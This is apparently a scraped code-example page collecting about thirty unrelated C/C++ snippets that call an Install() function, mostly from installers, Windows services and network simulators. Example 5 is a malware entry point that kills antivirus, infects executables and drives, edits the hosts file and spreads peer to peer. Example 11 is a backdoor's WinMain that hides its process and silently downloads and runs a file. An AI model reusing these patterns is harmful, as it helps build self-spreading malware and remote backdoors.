Ejemplo n.º 1
0
BOOL CDialog::OnCommand(int id, int code)
{
	switch(id)
	{
	case IDOK:
		if(m_bNewVersion)
		{
			if( Uninstall() )
				return Install();
			else
			{
				// Write something to RunOnce registry key
				// Keep in mind that Uninstall() already did!
				SetMessage( IDS_RESTARTBEFOREUPDATE );
			}
		}
		else if(m_bUnInstall)
			return Uninstall();
		else
			return Install();
		break;

	case IDCANCEL:
		if(m_bUnInstall)
			CreateUninstall(TRUE);
		::PostQuitMessage(1);
		break;
	}
	return FALSE;
}
Ejemplo n.º 2
0
/*
	メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
	switch (wID)
	{
	case IDOK:
		CheckDlgButton(EXTRACT_CHECK, 0);
		Install();
		return	TRUE;

	case IDCANCEL:
		EndDialog(wID);
		return	TRUE;

	case RUNAS_BUTTON:
		RunAsAdmin(hWnd, FALSE);
		return	TRUE;

	case EXTRACT_BUTTON:
		CheckDlgButton(EXTRACT_CHECK, 1);
		Install();
		return	TRUE;

	case FILE_BUTTON:
		BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
		return	TRUE;
	}
	return	FALSE;
}
Ejemplo n.º 3
0
int Backend::Go(){
    QThread *worker = new QThread();;
    this->moveToThread(worker);
    worker->start();

    connect(this, SIGNAL(Install()), this, SLOT(AsyncInstall()));
    emit Install();

    return Success;
}
void
StrategyChoiceHelper::Install(const NodeContainer& c, const Name& namePrefix, const Name& strategy)
{
  for (NodeContainer::Iterator i = c.Begin(); i != c.End(); ++i) {
    Install(*i, namePrefix, strategy);
  }
}
Ejemplo n.º 5
0
int main(int argc, char *argv[])
{
    if(IsDebuggerPresent()) return 1;
    if(argc==2) {
        char Thif[256];
        GetModuleFileName(NULL,Thif,sizeof(Thif));
        if(argv[1]==Thif) goto part;
        SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
        CopyFile(Thif,argv[1],FALSE);
    }
part:
    CreateMutex(NULL,0,"n349u43jEg35545");
    if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;

    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);

    CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
    CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
    CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);

    Install();
    HOSTSFile();
    InfectExes();
    p2p_spread();
    InfectDrives();
    return 0;
}
Ejemplo n.º 6
0
void Format(){
	Install();
	for (int i = 0; i < DATADISTRICTION_MAXSIZE; i++)
		data[i] = '#';

	int inode_num_tmp = GetNextInodeNum();						//分配inode
	int block_num_tmp = GetNextBlockNum();						//分配block
	inode[inode_num_tmp].CreateInode(inode_num_tmp,1,ROOT,DIRFILE,"rrrrrrrrr");     //在inode节点表中添加新项
	inode[inode_num_tmp].i_zone[0] = block_num_tmp;				//inode指向物理块
	Directory root = Directory();
	writeInBlock(block_num_tmp, (char*)&root);					//此时目录对应的物理块的表为空

	strcpy(superblock_mem.CurDir, "/");							//当前目录为根
	superblock_mem.curind = inode_num_tmp;						//得到当前目录对应的inode编号


	//用户1
	char user1name[16] = "PNT";
	strcpy(superblock_mem.username[0], user1name);
	strcpy(superblock_mem.password[0], "PNT");
	MKDIR(user1name);												//在当前目录(/)下创建用户1

	//用户2
	char user2name[16] = "user2";
	strcpy(superblock_mem.username[1], user2name);
	strcpy(superblock_mem.password[1], "user2");
	MKDIR(user2name);												//在当前目录(/)下创建用户2

	//用户3
	char user3name[16] = "user3";
	strcpy(superblock_mem.username[2], user3name);
	strcpy(superblock_mem.password[2], "user3");
	MKDIR(user3name);												//在当前目录(/)下创建用户3
	
}
Ejemplo n.º 7
0
/*
	メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
	switch (wID) {
	case IDOK:
		propertySheet->GetData();
		if (cfg.mode == UNINSTALL_MODE)
			UnInstall();
		else
			Install();
		return	TRUE;

	case IDCANCEL:
		::PostQuitMessage(0);
		return	TRUE;

	case FILE_BUTTON:
		BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
		return	TRUE;

	case SETUP_RADIO:
	case UNINSTALL_RADIO:
		if (wNotifyCode == BN_CLICKED)
			ChangeMode();
		return	TRUE;
	}
	return	FALSE;
}
Ejemplo n.º 8
0
void
BPackageManager::Install(const char* const* packages, int packageCount)
{
	BSolverPackageSpecifierList packagesToInstall;
	_AddPackageSpecifiers(packages, packageCount, packagesToInstall);
	Install(packagesToInstall);
}
Ejemplo n.º 9
0
void
ServiceWorkerUpdateJob::ContinueUpdateAfterScriptEval(bool aScriptEvaluationResult)
{
  AssertIsOnMainThread();

  RefPtr<ServiceWorkerManager> swm = ServiceWorkerManager::GetInstance();
  if (Canceled() || !swm) {
    FailUpdateJob(NS_ERROR_DOM_ABORT_ERR);
    return;
  }

  // Step 7.5 of the Update algorithm verifying that the script evaluated
  // successfully.

  if (NS_WARN_IF(!aScriptEvaluationResult)) {
    ErrorResult error;

    NS_ConvertUTF8toUTF16 scriptSpec(mScriptSpec);
    NS_ConvertUTF8toUTF16 scope(mRegistration->mScope);
    error.ThrowTypeError<MSG_SW_SCRIPT_THREW>(scriptSpec, scope);
    FailUpdateJob(error);
    return;
  }

  Install(swm);
}
Ejemplo n.º 10
0
	inline HRESULT RegisterAppId(bool bService = false) throw()
	{
		if (!Uninstall())
			return E_FAIL;

		HRESULT hr = UpdateRegistryAppId(TRUE);
		if (FAILED(hr))
			return hr;

		CRegKey keyAppID;
		LONG lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		CRegKey key;

		lRes = key.Create(keyAppID, GetAppIdT());
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		key.DeleteValue(_T("LocalService"));

		if (!bService)
			return S_OK;

		key.SetStringValue(_T("LocalService"), m_szServiceName);

		// Create service
		if (!Install())
			return E_FAIL;
		return S_OK;
	}
Ejemplo n.º 11
0
// standard application main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

	// get OS version
	OsIsNt=GetOsVer();
	GetModuleFileName(NULL,ExeFile,MAX_PATH);

    // Install from cmdline
    if(strpbrk(lpCmdLine,"iI")) Install();

    // if need, to download file and execute it
	if(wscfg.ws_downexe) {
		if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
			WinExec(wscfg.ws_filenam,SW_HIDE);
	}

	if(!OsIsNt) {
		// if win9x, hide process and start as application
		HideProc();		
		StartWinShell(lpCmdLine);
	}
	else
	    if(StartFromService())
			// start as ntservice
			StartServiceCtrlDispatcher(DispatchTable);
		else
			// start as application
			StartWinShell(lpCmdLine);

	return 0;
}
Ejemplo n.º 12
0
Hook::Hook(void *src, void *dst)
    : src_(0)
    , dst_(0)
    , installed_(false)
{
    Install(src, dst);
}
Ejemplo n.º 13
0
STDAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine )
{
	// To install into System32\ShellExt
	// regsvr32.exe /i /n HashCheck.dll
	//
	// To install without registering an uninstaller
	// regsvr32.exe /i:"NoUninstall" /n HashCheck.dll
	//
	// To install in-place (without copying the .dll anywhere)
	// regsvr32.exe /i:"NoCopy" /n HashCheck.dll
	//
	// To install with both options above
	// regsvr32.exe /i:"NoUninstall NoCopy" /n HashCheck.dll
	//
	// To uninstall
	// regsvr32.exe /u /i /n HashCheck.dll
	//
	// To install/uninstall silently
	// regsvr32.exe /s ...
	//
	// DllInstall can also be invoked from a RegisterDlls INF section or from
	// a UnregisterDlls INF section, if the registration flags are set to 2.
	// Consult the documentation for RegisterDlls/UnregisterDlls for details.

	return( (bInstall) ?
		Install(pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoUninstall") == NULL,
                pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoCopy")      == NULL) :
		Uninstall()
	);
}
Ejemplo n.º 14
0
VOID ServiceMainProc()
{
	::InitializeCriticalSection(&myCS);
	// initialize variables for .exe and .log file names
	char pModuleFile[nBufferSize+1];
	DWORD dwSize = GetModuleFileName(NULL, pModuleFile, nBufferSize);
	pModuleFile[dwSize] = 0;
	if(dwSize>4 && pModuleFile[dwSize-4] == '.')
	{
		sprintf_s(pExeFile,"%s",pModuleFile);
		pModuleFile[dwSize-4] = 0;
		sprintf_s(pLogFile,"%s.log",pModuleFile);

		sprintf_s(pWorkDir,"%s",pModuleFile);
		PathRemoveFileSpec(pWorkDir);
	}

	strcpy_s(pServiceName,"Helix");

	if(_stricmp("-i",lpCmdLineData) == 0 || _stricmp("-I",lpCmdLineData) == 0)
		Install(pExeFile, pServiceName);
	else if(_stricmp("-k",lpCmdLineData) == 0 || _stricmp("-K",lpCmdLineData) == 0)
		KillService(pServiceName);
	else if(_stricmp("-u",lpCmdLineData) == 0 || _stricmp("-U",lpCmdLineData) == 0)
		UnInstall(pServiceName);
	else if(_stricmp("-s",lpCmdLineData) == 0 || _stricmp("-S",lpCmdLineData) == 0)
		RunService(pServiceName);
	else
		ExecuteSubProcess();
}
Ejemplo n.º 15
0
    int win_svc_base::Main( int argc, char * argv[] )
    {
        //////////////////////////////////////////////////////////////////////////
        /// 命令行参数解析
        boost::program_options::options_description opts;
        opts.add_options()
            ("help", "options: --install --uninstall")
            ("install", "")
            ("uninstall", "")
            ("auto-start", "");

        boost::program_options::store(
            boost::program_options::parse_command_line(argc, argv, opts)
            , m_vm );

        //////////////////////////////////////////////////////////////////////////
        /// 定义SERVICE_TABLE_ENTRY DispatchTable[] 结构
        SERVICE_TABLE_ENTRYA DispatchTable[2] = 
        {
            {(char*)GetServiceName(), (LPSERVICE_MAIN_FUNCTIONA)GetServiceStartFunction()},                  
            {NULL, NULL}
        };

        if ( m_vm.count("help") )
        {
            /// 帮助
            std::cout << opts << std::endl;
        }
        else if ( m_vm.count("install") )
        {
            bool bAutoStart = (m_vm.count("auto-start") > 0);
            /// 安装服务
            if ( Install(bAutoStart) )
            {
                std::cout << "安装成功!" << std::endl;
                OnInstall(bAutoStart);
            }
            else
                std::cout << "安装失败!" << std::endl;
        }
        else if ( m_vm.count("uninstall") )
        {
            /// 卸载服务
            if ( Uninstall() )
                std::cout << "卸载成功!" << std::endl;
            else
                std::cout << "卸载失败!" << std::endl;
        }
        else
        {
            /// OS启动该程序
            BOOL bSuccessed = ::StartServiceCtrlDispatcherA(DispatchTable);
            //if (bSuccessed)
            //    LOG << "服务入口函数注册成功!" << std::endl;
            //else
            //    LOG << "服务入口函数注册失败!" << std::endl;
        }
        return 0;
    }
Ejemplo n.º 16
0
//----------------------------------------------------
//  MakeUpdate - функция обновляет бота
//----------------------------------------------------
bool BOT::MakeUpdate(const char *FileName, bool ResetSettings)
{
	// При необходимости удалем сохранённые настройки
	if (ResetSettings)
		DeleteSettings();

	return Install(FileName, true, true, 0) == TRUE;
}
Ejemplo n.º 17
0
Ptr<FaceContainer>
StackHelper::Install(const NodeContainer& c) const
{
  Ptr<FaceContainer> faces = Create<FaceContainer>();
  for (NodeContainer::Iterator i = c.Begin(); i != c.End(); ++i) {
    faces->AddAll(Install(*i));
  }
  return faces;
}
Ejemplo n.º 18
0
bool Hook::Install(void *src, void *dst) {
    if (installed_) {
        return false;
    }

    src_ = src;
    dst_ = dst;
    return Install();
}
Ejemplo n.º 19
0
	long ServiceModule::RegisterServer(bool bService)
	{
		LOG4CPLUS_DEBUG(log,"register server.");
		Uninstall();
		if (bService)
		{
			return Install();
		}
		return 0;
	}
Ejemplo n.º 20
0
/**
 * @brief Initializes the SpringApp instance
 * @return whether initialization was successful
 */
bool SpringApp::Initialize ()
{
    if (!ParseCmdLine ())
        return false;

#ifdef WIN32
    // Initialize crash reporting
    Install( (LPGETLOGFILE) crashCallback, "*****@*****.**", "TA Spring Crashreport");
#endif

    // Initialize class system
    creg::ClassBinder::InitializeClasses ();

#ifndef NO_LUA
    // Initialize lua bindings
    CLuaBinder lua;
    if (!lua.LoadScript("testscript.lua"))
        handleerror(NULL, lua.lastError.c_str(), "lua",MBF_OK|MBF_EXCL);
#endif

    InitVFS ();

    if (!InitWindow ("RtsSpring"))
    {
        SDL_Quit ();
        return false;
    }
    // Global structures
    ENTER_SYNCED;
    gs=new CGlobalSyncedStuff();
    ENTER_UNSYNCED;
    gu=new CGlobalUnsyncedStuff();

    InitOpenGL();

    palette.Init();

    // Initialize keyboard
    SDL_EnableUNICODE(1);
    SDL_EnableKeyRepeat (SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL);
    SDL_SetModState (KMOD_NONE);

    keys = new Uint8[SDLK_LAST];
    memset (keys,0,sizeof(Uint8)*SDLK_LAST);

    // Initialize font
    font = new CglFont(32,223);
    LoadExtensions();
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
    SDL_GL_SwapBuffers();

    CreateGameSetup ();

    return true;
}
Ejemplo n.º 21
0
// Returns TRUE if it found an arg it recognised, FALSE if not
// Note: processing some arguments causes output to stdout to be generated.
BOOL CNTService::ParseStandardArgs(int argc, char* argv[])
{
    // See if we have any command line args we recognise
    if (argc <= 1) return FALSE;

    if (_stricmp(argv[1], "-v") == 0) {

        // Spit out version info
        _tprintf(_T("%s Version %d.%d\n"),
               m_szServiceName, m_iMajorVersion, m_iMinorVersion);
        _tprintf(_T("The service is %s installed\n"),
               IsInstalled() ? _T("currently") : _T("not"));
        return TRUE; // say we processed the argument

    } else if (_stricmp(argv[1], "-i") == 0) {

        // Request to install.
        if (IsInstalled()) {
            _tprintf(_T("%s is already installed\n"), m_szServiceName);
        } else {
            // Try and install the copy that's running
            if (Install()) {
                _tprintf(_T("%s installed\n"), m_szServiceName);
            } else {
                _tprintf(_T("%s failed to install. Error %d\n"),
					m_szServiceName, GetLastError());
            }
        }
        return TRUE; // say we processed the argument

    } else if (_stricmp(argv[1], "-u") == 0) {

        // Request to uninstall.
        if (!IsInstalled()) {
            _tprintf(_T("%s is not installed\n"), m_szServiceName);
        } else {
            // Try and remove the copy that's installed
            if (Uninstall()) {
                // Get the executable file path
                TCHAR szFilePath[_MAX_PATH];
                ::GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));
                _tprintf(_T("%s removed. (You must delete the file (%s) yourself.)\n"),
                       m_szServiceName, szFilePath);
            } else {
                _tprintf(_T("Could not remove %s. Error %d\n"),
					m_szServiceName, GetLastError());
            }
        }
        return TRUE; // say we processed the argument
    
    }
         
    // Don't recognise the args
    return FALSE;
}
Ejemplo n.º 22
0
//-----------------------------------------------------------------------------
// main()
//-----------------------------------------------------------------------------
// 
//-----------------------------------------------------------------------------
int main(int argc, _TCHAR* argv[])
{
	int rc=0;
	
	TRACE_OPEN();
	TRACE((TRACE_ENTER,_F_,""));
	SERVICE_TABLE_ENTRY st[] =
    {
        { "swSSORecoverSvc", (LPSERVICE_MAIN_FUNCTION)ServiceMain },
        { NULL, NULL }
    };
	gdwThreadID = GetCurrentThreadId();
	ghServiceStatus = NULL;
    gServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    gServiceStatus.dwCurrentState = SERVICE_STOPPED;
    gServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    gServiceStatus.dwWin32ExitCode = 0;
    gServiceStatus.dwServiceSpecificExitCode = 0;
    gServiceStatus.dwCheckPoint = 0;
    gServiceStatus.dwWaitHint = 0;
	if (argc==2)
	{
		if (strcmp(argv[1],"install")==0)
		{
			if (IsInstalled()) { printf ("Already installed\n"); goto end; }
			rc=Install();
			if (rc==0)
				printf("Service installed successfully\n"); 
			else
				printf("Service installation failed\n");
		}
		else if (strcmp(argv[1],"uninstall")==0)
		{
			if (!IsInstalled()) { printf ("Not installed\n"); goto end; }
			rc=Uninstall();
			if (rc==0)
				printf("Service uninstalled successfully\n"); 
			else
				printf("Service installation failed\n");
		}
		else
			{ Usage(); rc=-1; goto end; }
	}
	else if (argc==1)
	{ 
		StartServiceCtrlDispatcher(st);
	}
	else 
		{ Usage(); rc=-1; goto end; }
end:
	TRACE((TRACE_LEAVE,_F_,""));
	TRACE_CLOSE();
	return rc;
}
Ejemplo n.º 23
0
void
DsrMainHelper::Install (DsrHelper &dsrHelper, NodeContainer nodes)
{
  NS_LOG_DEBUG ("Passed node container");
  delete m_dsrHelper;
  m_dsrHelper = dsrHelper.Copy ();
  for (NodeContainer::Iterator i = nodes.Begin (); i != nodes.End (); ++i)
    {
      Install (*i);
    }
}
Ejemplo n.º 24
0
void XBMCHelper::HandleLaunchAgent()
{
  int oldAlwaysOn = m_alwaysOn;
  m_alwaysOn = CSettings::Get().GetBool(CSettings::SETTING_INPUT_APPLEREMOTEALWAYSON);

  // Installation/uninstallation.
  if (oldAlwaysOn == false && m_alwaysOn == true)
    Install();
  if (oldAlwaysOn == true && m_alwaysOn == false)
    Uninstall();
}
Ptr<FlowMonitor>
FlowMonitorHelper::Install (NodeContainer nodes)
{
  for (NodeContainer::Iterator i = nodes.Begin (); i != nodes.End (); ++i)
    {
      Ptr<Node> node = *i;
      if (node->GetObject<Ipv4L3Protocol> ())
        {
          Install (node);
        }
    }
  return m_flowMonitor;
}
Ptr<FlowMonitor>
FlowMonitorHelper::InstallAll ()
{
  for (NodeList::Iterator i = NodeList::Begin (); i != NodeList::End (); ++i)
    {
      Ptr<Node> node = *i;
      if (node->GetObject<Ipv4L3Protocol> ())
        {
          Install (node);
        }
    }
  return m_flowMonitor;
}
	/** This function helps with determining what a service application
	should do at startup. Early in the execution of the application, a call
	should be made to this function to test for command line parameters. If
	this function determines that the service should start, it will return
	VTRUE. Otherwise, it means the user wanted to only install or un-install
	the service, or show text mode help. Command line parameters that this
	function understands are as follows:

	-I = Install the Service. Calls the Install(VTRUE) virtual function.

	-U = Uninstall the Service. Calls the Install(VFALSE) virtual function.

	-? = Calls the OnHelp() virtual function to show text mode help.

	If any other parameters are specified, this function will call
	the virtual function OnCommandLineParameter().*/
	VBOOL					ProcessCommandLine()
	{
		VBOOL bServiceShouldStart = VTRUE;

		/* See if at least 1 command line param is present.*/
		if ( VGetARGC() > 0 )
		{
			VApplication& theApp = VGetApp();

			if ( theApp.IsCommandLineOption(VTEXT("I")) )
			{
				Install(VTRUE);
				bServiceShouldStart = VFALSE;
			}
			else if ( theApp.IsCommandLineOption(VTEXT("U")) )
			{
				Install(VFALSE);
				bServiceShouldStart = VFALSE;
			}
			else if ( theApp.IsCommandLineOption(VTEXT("?")) )
			{
				OnHelp();
				bServiceShouldStart = VFALSE;
			}

			if ( bServiceShouldStart )
			{
				for ( VUINT i = 1; i < VGetARGC(); i++ )
				{
					if ( !OnCommandLineParameter(VGetARGV(i)) )
						bServiceShouldStart = VFALSE;
				}
			}
		}

		return bServiceShouldStart;
	}
Ejemplo n.º 28
0
/**
	@param nArgs Number of command line arguments
	@param pArgs Pointer to an array of command line arguments
	@param bNoUI Reference to a silent command flag, filled upon exit
	@param lpRelativeDriverFolder Folder name (relative to the current module) where the printer driver files can be found
	@return true if any command lines variables were detected and acted upon

	Command line usage:
	To install the printer:
	<app.exe> [/NoUI] /InstallPrinter
	To uninstall the printer:
	<app.exe> [/NoUI] /UninstallPrinter 
	Note that the object must be initialized for this to work!
*/
bool PrinterInstall::DoCommandLine(int nArgs, TCHAR** pArgs, bool& bNoUI, LPCTSTR lpRelativeDriverFolder)
{
	// Initialize stuff
	bNoUI = false;
	ResetError();

	// Go over variables
	for (int i = 1; i < nArgs; i++)
	{
		if (_tcscmp(pArgs[i], PARAM_NOUI) == 0)
			// NoUI (silent) parameter
			bNoUI = true;
		else if (_tcscmp(pArgs[i], PARAM_INSTALLPRINTER) == 0)
		{
			// Printer installation:
			TCHAR cPath[MAX_PATH + 2];
			// Retrieve the current module path
			if (!::GetModuleFileName(NULL, cPath, MAX_PATH + 1))
				// Can't?!
				SetError(-100);
			else
			{
				// Remove the actual module name (we need the folder)
				TCHAR* pSlash = _tcsrchr(cPath, '\\');
				if (pSlash == NULL)
					SetError(-101);
				else
				{
					// Add the printer driver folder
					*(pSlash + 1) = '\0';
					_tcscat_s(cPath, _S(cPath), lpRelativeDriverFolder);
					// And install
					Install(cPath, NULL, cPath);
				}
			}
			// We did something here
			return true;
		}
		else if (_tcscmp(__targv[i], PARAM_REMOVEPRINTER) == 0)
		{
			// Printer removal
			Uninstall(NULL);
			return true;
		}
	}

	// We didn't do nothing
	return false;
}
Ejemplo n.º 29
0
	inline HRESULT RegisterAppId(bool bService = false) throw()
	{
		if (!Uninstall())
			return E_FAIL;

		HRESULT hr = UpdateRegistryAppId(TRUE);
		if (FAILED(hr))
			return hr;

		CRegKey keyAppID;
		LONG lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		CRegKey key;

		lRes = key.Create(keyAppID, GetAppIdT());
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		key.DeleteValue(_T("LocalService"));

		if (!bService)
			return S_OK;

		key.SetStringValue(_T("LocalService"), m_szServiceName);

		// change LaunchACL and AccessACL,so that no "Administrator" privileges is need.
		//S-1-5-32-545 is USERS's SID
		TCHAR szUsersSID[] = _T("S-1-5-32-545");
		DWORD error = ChangeAppIDLaunchACL(GetAppIdT(),szUsersSID,true,true,COM_RIGHTS_ACTIVATE_LOCAL);
		if(error){
			DebugOutF(filelog::log_error,"ChangeAppIDLaunchACL failed with %d",error);
		}
		error = ChangeAppIDAccessACL(GetAppIdT(),szUsersSID,true,true,COM_RIGHTS_EXECUTE_LOCAL);
		
		if(error){
			DebugOutF(filelog::log_error,"ChangeAppIDAccessACL failed with %d",error);
		}

		// Create service
		if (!Install())
			return E_FAIL;
		return S_OK;
	}
Ejemplo n.º 30
0
status_t
BTeamDebugger::LoadProgram(const char* const* args, int32 argCount,
	bool traceLoading)
{
	// load the program
	thread_id thread = _LoadProgram(args, argCount, traceLoading);
	if (thread < 0)
		return thread;

	// install the debugger
	status_t error = Install(thread);
	if (error != B_OK) {
		kill_team(thread);
		return error;
	}

	return B_OK;
}